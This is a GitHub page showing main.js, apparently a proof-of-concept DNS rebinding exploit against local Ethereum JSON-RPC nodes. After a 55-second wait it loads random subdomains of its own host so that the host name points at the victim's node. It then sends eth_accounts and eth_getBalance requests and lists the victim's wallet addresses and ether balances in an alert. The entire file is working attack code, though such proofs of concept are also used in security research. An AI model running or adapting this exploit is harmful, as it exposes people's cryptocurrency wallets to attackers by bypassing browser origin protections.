-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathmain.js
87 lines (68 loc) · 1.94 KB
/
main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
var allRes = {};
function hackThePlanet(){
setTimeout(function(){
doHackIt(1);
}, 55000);
}
function doHackIt(num){
if(num > 5)return;
//console.log("Trying ... "+num);
simpleGET('http://next'+Math.floor(Math.random() * 1000)+'.'+window.location.host,num);
}
function simpleGET(url,num){
document.getElementById('jfc').onerror = function(){
setTimeout(function(){
getAccounts(num)
},1000)
}
document.getElementById('jfc').src = url;
}
function getAccounts(num){
var xhr = new XMLHttpRequest();
try{
xhr.open('POST', 'http://'+window.location.host, false);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}');
}catch(e){
//console.log("Connection prolly refused");
//console.log(e.message);
return;
}
try{
getAccountBalances(JSON.parse(xhr.responseText)['result']);
}catch(e){
setTimeout(function(){
//console.log("Could not get accounts");
//console.log(e.message);
doHackIt(num+1);
},5000)
}
}
function getAccountBalances(array){
for(var i=0; i < array.length; ++i){
getBalance(array[i],1);
}
printData()
}
function getBalance(account, num){
if(num > 5)return;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://'+window.location.host, false);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"jsonrpc":"2.0","method":"eth_getBalance","params":["'+account+'", "latest"],"id":1}');
try{
res = JSON.parse(xhr.responseText)['result'];
allRes[account] = res;
}catch(e){
//console.log("Could not get balance");
getBalance(account, num+1);
}
}
function printData(){
var keys = Object.keys(allRes)
var str = "Found "+keys.length+" ether accounts\n"
for(var i = 0; i < keys.length; ++i){
str += keys[i] + " --> "+(parseInt(allRes[keys[i]],16)/1000000000000000000)+"\n";
}
alert(str);
}